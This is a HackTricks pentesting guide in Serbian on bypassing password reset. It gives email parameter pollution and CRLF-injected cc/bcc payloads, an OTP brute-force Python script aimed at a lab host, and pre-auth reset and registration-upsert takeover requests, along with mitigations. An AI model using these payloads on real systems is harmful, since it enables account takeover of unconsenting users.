Reset/Zaboravljena lozinka - zaobilaženje

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Token za reset lozinke Leak putem referer-a

  • HTTP referer header može izložiti token za reset lozinke (leak) ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži reset lozinke.
  • Uticaj: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
  • Eksploatacija: Da biste proverili da li password reset token leak-uje u referer header-u, zatražite reset lozinke na vašu email adresu i kliknite na reset link koji dobijete. Nemojte odmah menjati lozinku. Umesto toga, posetite sajt treće strane (npr. Facebook ili Twitter) dok interceptujete zahteve koristeći Burp Suite. Pregledajte zahteve da vidite da li referer header sadrži token za reset lozinke, jer to može izložiti osetljive informacije trećim stranama.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Napadači mogu manipulisati Host header-om tokom zahteva za reset lozinke kako bi reset link upućivao na maliciozni sajt.
  • Uticaj: Može dovesti do potencijalnog preuzimanja naloga kroz izlaganje reset tokena napadačima.
  • Koraci za ublažavanje:
  • Validirajte Host header upoređujući ga sa whitelist-om dozvoljenih domena.
  • Koristite sigurne, server-side metode za generisanje absolutnih URL-ova.
  • Patch: Koristite $_SERVER['SERVER_NAME'] za konstrukciju password reset URL-ova umesto $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Napadači mogu manipulisati zahtevom za reset lozinke dodavanjem dodatnih email parametara kako bi preusmerili reset link.

  • Dodajte email napadača kao drugi parametar koristeći &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Dodaj attacker email kao drugi parametar koristeći %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Dodajte adresu e-pošte napadača kao drugi parametar koristeći |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Dodajte email napadača kao drugi parametar koristeći cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Dodajte e-mail napadača kao drugi parametar koristeći bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Dodajte attacker email kao drugi parametar koristeći ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Dodajte attacker email kao drugi parametar u json array
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Promena email i password bilo kog korisnika kroz API parametre

  • Napadači mogu izmeniti email i password parametre u API zahtevima kako bi promenili podatke za prijavu naloga.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

No Rate Limiting: Email Bombing

  • Nedostatak rate limiting-a na zahtevima za password reset može dovesti do Email Bombing-a, preplavljući korisnika reset emailovima.
  • Koraci ublažavanja:
  • Implementirajte rate limiting baziran na IP adresi ili korisničkom nalogu.
  • Koristite CAPTCHA izazove da sprečite automatizovanu zloupotrebu.
  • Reference:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Razumevanje obrasca ili metode iza generisanja tokena može dovesti do predviđanja ili brute-force napada na tokene. Neke opcije:
  • Bazirano na timestamp-u
  • Bazirano na UserID
  • Bazirano na email-u korisnika
  • Bazirano na imenu i prezimenu
  • Bazirano na datumu rođenja
  • Bazirano na kriptografiji
  • Koraci ublažavanja:
  • Koristite jake, kriptografske metode za generisanje tokena.
  • Obezbedite dovoljno slučajnosti i dužine da sprečite predvidivost.
  • Alati: Koristite Burp Sequencer za analizu slučajnosti tokena.

Guessable UUID

  • Ako su UUID-ovi (version 1) pogodljivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali validne reset tokene. Check:

UUID Insecurities

  • Koraci ublažavanja:
  • Koristite GUID version 4 zbog slučajnosti ili implementirajte dodatne sigurnosne mere za druge verzije.
  • Alati: Koristite guidtool za analiziranje i generisanje GUID-ova.

Response Manipulation: Replace Bad Response With Good One

  • Manipulisanje HTTP odgovora kako bi se zaobišle poruke o grešci ili restrikcije.
  • Koraci ublažavanja:
  • Implementirajte server-side provere kako biste osigurali integritet odgovora.
  • Koristite sigurne komunikacione kanale poput HTTPS-a da biste sprečili man-in-the-middle napade.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testiranje da li se istekli tokeni i dalje mogu koristiti za password reset.
  • Koraci ublažavanja:
  • Implementirajte stroge politike isteka tokena i validirajte isteka tokena server-side.

Brute Force Password Reset Token

  • Pokušaj brute-force napada na reset token koristeći alate kao što su Burpsuite i IP-Rotator kako biste zaobišli IP-bazirana ograničenja.
  • Koraci ublažavanja:
  • Implementirajte robusno ograničavanje zahteva (rate-limiting) i mehanizme zaključavanja naloga.
  • Pratite sumnjive aktivnosti koje ukazuju na brute-force napade.

Try Using Your Token

  • Testiranje da li se napadačev reset token može koristiti zajedno sa email-om žrtve.
  • Koraci ublažavanja:
  • Uverite se da su tokeni vezani za korisničku session ili druge korisnički-specifične atribute.

Session Invalidation in Logout/Password Reset

  • Osiguravanje da se session-i invalidiraju kada se korisnik odjavi ili resetuje lozinku.
  • Koraci ublažavanja:
  • Implementirajte pravilno upravljanje session-ima, osiguravajući da svi session-i budu invalidirani pri odjavi ili resetovanju lozinke.

Session Invalidation in Logout/Password Reset

  • Reset tokeni bi trebalo da imaju vreme isteka posle kojeg postaju nevažeći.
  • Koraci ublažavanja:
  • Postavite razumno vreme isteka za reset tokene i strogo ga sprovedite server-side.

OTP rate limit bypass by changing your session

  • Ako sajt koristi user session za praćenje pogrešnih OTP pokušaja i OTP je slab ( <= 4 digits) onda možemo efikasno brute-force-ovati OTP.
  • eksploatacija:
  • jednostavno zatražite novi session token nakon što vas server blokira.
  • Primer koda koji eksploatiše ovaj bag nasumičnim pogađanjem OTP-a (kada promenite session, OTP će se takođe promeniti, pa nećemo moći da ga sekvencijalno brute-force-ujemo!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Neke implementacije izlažu akciju promene lozinke koja poziva rutinu za promenu lozinke sa skipOldPwdCheck=true i ne proverava nijedan reset token ili vlasništvo. Ako endpoint prihvata action parametar kao change_password i username/novu lozinku u telu zahteva, napadač može da resetuje proizvoljne naloge pre-auth.

Ranjiv obrazac (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Zahtev za eksploataciju (koncept):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigacije:

  • Uvek zahtevajte validan, vremenski ograničen reset token vezan za nalog i sesiju pre promene lozinke.
  • Nikada ne izlažite skipOldPwdCheck putanje neautentifikovanim korisnicima; zahtevajte autentifikaciju za uobičajene promene lozinke i proverite staru lozinku.
  • Poništite sve aktivne sesije i reset tokene nakon promene lozinke.

Registration-as-Password-Reset (Upsert on Existing Email)

Neke aplikacije implementiraju signup handler kao upsert. Ako email već postoji, handler tiho ažurira korisnički zapis umesto da odbije zahtev. Kada registration endpoint prihvati minimalan JSON body sa postojećim emailom i novom lozinkom, to efikasno postaje pre-auth password reset bez ikakve verifikacije vlasništva, omogućavajući full account takeover.

Pre-auth ATO PoC (overwriting an existing user's password):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Referencije

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks